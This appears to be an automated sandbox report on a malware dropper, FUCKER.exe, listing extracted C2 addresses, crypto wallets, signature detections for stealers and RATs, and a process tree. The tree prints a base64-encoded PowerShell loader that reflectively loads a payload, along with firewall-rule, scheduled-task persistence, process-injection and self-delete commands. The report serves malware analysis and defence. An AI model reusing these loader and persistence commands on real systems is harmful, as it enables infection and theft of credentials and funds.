Overview

overview

10

Static

static

3

FUCKER.exe

windows7-x64

10

FUCKER.exe

windows10-1703-x64

FUCKER.exe

windows10-2004-x64

FUCKER.exe

windows11-21h2-x64

10

Resubmissions

09/04/2024, 08:32

240409-kfg77aaf8510

09/04/2024, 08:32

240409-kfglnaaf8410

09/04/2024, 08:32

240409-kffz5aea2y10

09/04/2024, 08:32

240409-kffpcsaf7910

11/03/2024, 08:03

240311-jxm94afe6y10

10/03/2024, 15:15

240310-snee9sfd3y10

Analysis

  • max time kernel
    257s
  • max time network
    415s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 08:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    FUCKER.exe
  • Size 10KB
  • Sample240409-kffz5aea2y
  • SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeyasyncratphorphiexraccoonredlineriseprosectopratstealcvidarzgrat72f54d93118188013f2386eef7e5cc05cheatdiscoveryevasioninfostealerloaderpersistencepyinstallerratspywarestealertrojanworm

Malware Config

Extracted

Family

  • phorphiex

C2

  • http://185.215.113.66/

Wallets

  • 0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b

  • THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto

  • 1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6

  • qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut

  • XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL

  • LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX

  • rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH

  • ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ

  • 48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

  • 3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC

  • 3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

  • D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH

  • t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn

  • bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd

  • bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg

  • bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut

  • GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE

Extracted

Family

  • redline

Botnet

  • cheat

C2

  • 91.198.77.158:4483

Extracted

Family

  • amadey

Version

  • 4.18

C2

  • http://185.172.128.3

Attributes
  • install_dir

    One_Dragon_Center

  • install_file

    MSI.CentralServer.exe

  • strings_key

    fd2f5851d3165c210396dcbe9930d294

  • url_paths

    /QajE3OBS/index.php

rc4.plain

Extracted

Family

  • risepro

C2

  • 193.233.132.11:50500

Extracted

Family

  • vidar

Version

  • 8.6

Botnet

  • 72f54d93118188013f2386eef7e5cc05

C2

  • https://steamcommunity.com/profiles/76561199658817715

  • https://t.me/sa9ok

Attributes
  • profile_id_v2

    72f54d93118188013f2386eef7e5cc05

  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Detect Vidar Stealer 1 IoCs
    stealer
  • Detect ZGRat V1 3 IoCs
  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

    stealerraccoon
  • Raccoon Stealer V2 payload 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 2 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs 18 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Async RAT payload 1 IoCs
    rat
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 21 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 42 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 7 IoCs
  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FUCKER.exe
    "C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\SysWOW64\wscript.exe
        "wscript.exe" "C:\Users\Admin\start.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1096
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4972
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3008
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              6⤵
                PID:5836
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:4068
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                    PID:5032
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 1672
                      7⤵
                      • Program crash
                      PID:5436
          • C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
            2⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • Suspicious use of FindShellTrayWindow
            PID:4632
          • C:\Users\Admin\AppData\Local\Temp\Files\lumma2.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\lumma2.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3444
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              3⤵
                PID:3068
            • C:\Users\Admin\AppData\Local\Temp\Files\s1.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\s1.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1104
            • C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
              2⤵
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • Adds Run key to start application
              • Drops file in Windows directory
              • Suspicious use of WriteProcessMemory
              PID:3844
              • C:\Users\Admin\AppData\Local\Temp\96513172.exe
                C:\Users\Admin\AppData\Local\Temp\96513172.exe
                3⤵
                • Windows security bypass
                • Executes dropped EXE
                • Windows security modification
                • Adds Run key to start application
                • Drops file in Windows directory
                • Suspicious behavior: SetClipboardViewer
                • Suspicious use of WriteProcessMemory
                PID:1188
                • C:\Users\Admin\AppData\Local\Temp\3276515002.exe
                  C:\Users\Admin\AppData\Local\Temp\3276515002.exe
                  4⤵
                  • Executes dropped EXE
                  PID:5892
                • C:\Users\Admin\AppData\Local\Temp\248483651.exe
                  C:\Users\Admin\AppData\Local\Temp\248483651.exe
                  4⤵
                  • Executes dropped EXE
                  PID:5820
                • C:\Users\Admin\AppData\Local\Temp\192706194.exe
                  C:\Users\Admin\AppData\Local\Temp\192706194.exe
                  4⤵
                  • Executes dropped EXE
                  PID:3124
                • C:\Users\Admin\AppData\Local\Temp\2837029563.exe
                  C:\Users\Admin\AppData\Local\Temp\2837029563.exe
                  4⤵
                  • Executes dropped EXE
                  PID:4736
              • C:\Users\Admin\AppData\Local\Temp\3006430217.exe
                C:\Users\Admin\AppData\Local\Temp\3006430217.exe
                3⤵
                • Windows security bypass
                • Executes dropped EXE
                • Windows security modification
                • Adds Run key to start application
                • Drops file in Windows directory
                PID:5480
              • C:\Users\Admin\AppData\Local\Temp\2595526574.exe
                C:\Users\Admin\AppData\Local\Temp\2595526574.exe
                3⤵
                • Executes dropped EXE
                PID:5756
              • C:\Users\Admin\AppData\Local\Temp\2476721870.exe
                C:\Users\Admin\AppData\Local\Temp\2476721870.exe
                3⤵
                • Executes dropped EXE
                PID:5292
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c shutdown /r
                  4⤵
                    PID:396
                    • C:\Windows\SysWOW64\shutdown.exe
                      shutdown /r
                      5⤵
                        PID:3296
                • C:\Users\Admin\AppData\Local\Temp\Files\ISetup3.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\ISetup3.exe"
                  2⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2448
                  • C:\Users\Admin\AppData\Local\Temp\u1w0.0.exe
                    "C:\Users\Admin\AppData\Local\Temp\u1w0.0.exe"
                    3⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks processor information in registry
                    • Suspicious behavior: EnumeratesProcesses
                    PID:404
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\JJDHIDBFBF.exe"
                      4⤵
                        PID:3052
                        • C:\Users\Admin\AppData\Local\Temp\JJDHIDBFBF.exe
                          "C:\Users\Admin\AppData\Local\Temp\JJDHIDBFBF.exe"
                          5⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          PID:1392
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\JJDHIDBFBF.exe
                            6⤵
                              PID:6140
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 2.2.2.2 -n 1 -w 3000
                                7⤵
                                • Runs ping.exe
                                PID:4664
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 404 -s 2580
                          4⤵
                          • Program crash
                          PID:5144
                      • C:\Users\Admin\AppData\Local\Temp\u1w0.1.exe
                        "C:\Users\Admin\AppData\Local\Temp\u1w0.1.exe"
                        3⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        • Suspicious use of WriteProcessMemory
                        PID:3124
                        • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                          "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:6076
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2448 -s 1188
                        3⤵
                        • Program crash
                        PID:2420
                    • C:\Users\Admin\AppData\Local\Temp\Files\momsstiflersdgjboigfnbio.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\momsstiflersdgjboigfnbio.exe"
                      2⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:5124
                      • C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
                        C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:6132
                        • C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe
                          "C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe"
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: MapViewOfSection
                          PID:5448
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\SysWOW64\cmd.exe
                            5⤵
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: MapViewOfSection
                            PID:3864
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                              6⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5260
                    • C:\Users\Admin\AppData\Local\Temp\Files\PresentationFontCache.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\PresentationFontCache.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:3956
                      • C:\Users\Admin\AppData\Local\Temp\Files\PresentationFontCache.exe
                        "C:\Users\Admin\AppData\Local\Temp\Files\PresentationFontCache.exe"
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4268
                    • C:\Users\Admin\AppData\Local\Temp\Files\crypted_15a94542.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\crypted_15a94542.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:6104
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        3⤵
                          PID:5252
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                          3⤵
                            PID:2608
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                            3⤵
                              PID:5244
                          • C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe
                            "C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious behavior: GetForegroundWindowSpam
                            PID:5224
                          • C:\Users\Admin\AppData\Local\Temp\Files\test2.exe
                            "C:\Users\Admin\AppData\Local\Temp\Files\test2.exe"
                            2⤵
                            • Executes dropped EXE
                            PID:5156
                          • C:\Users\Admin\AppData\Local\Temp\Files\jokerpos.exe
                            "C:\Users\Admin\AppData\Local\Temp\Files\jokerpos.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:5388
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              3⤵
                                PID:3476
                            • C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe"
                              2⤵
                              • Executes dropped EXE
                              PID:5488
                            • C:\Users\Admin\AppData\Local\Temp\Files\asyns.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\asyns.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5612
                            • C:\Users\Admin\AppData\Local\Temp\Files\bin.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2400
                            • C:\Users\Admin\AppData\Local\Temp\Files\Dolzkqnsbh.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\Dolzkqnsbh.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:464
                            • C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
                              2⤵
                              • Executes dropped EXE
                              PID:5092
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4336
                              • C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
                                3⤵
                                  PID:5744
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -nologo -noprofile
                                    4⤵
                                      PID:3688
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                      4⤵
                                        PID:852
                                        • C:\Windows\system32\netsh.exe
                                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                          5⤵
                                          • Modifies Windows Firewall
                                          PID:5456
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        4⤵
                                          PID:2956
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -nologo -noprofile
                                          4⤵
                                            PID:1748
                                          • C:\Windows\rss\csrss.exe
                                            C:\Windows\rss\csrss.exe
                                            4⤵
                                              PID:5500
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -nologo -noprofile
                                                5⤵
                                                  PID:788
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                  5⤵
                                                  • Creates scheduled task(s)
                                                  PID:1892
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks /delete /tn ScheduledUpdate /f
                                                  5⤵
                                                    PID:5784
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -nologo -noprofile
                                                    5⤵
                                                      PID:4660
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -nologo -noprofile
                                                      5⤵
                                                        PID:1968
                                                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                        5⤵
                                                          PID:448
                                                  • C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:6092
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      PID:2220
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tasklist"
                                                        4⤵
                                                          PID:1112
                                                          • C:\Windows\system32\tasklist.exe
                                                            tasklist
                                                            5⤵
                                                            • Enumerates processes with tasklist
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2060
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\fullwork.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\fullwork.exe"
                                                      2⤵
                                                        PID:2128
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                          3⤵
                                                            PID:4796
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\crypted_69a30000.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\crypted_69a30000.exe"
                                                          2⤵
                                                            PID:5508
                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                              3⤵
                                                                PID:928
                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                3⤵
                                                                  PID:4228
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                  3⤵
                                                                    PID:440
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                    3⤵
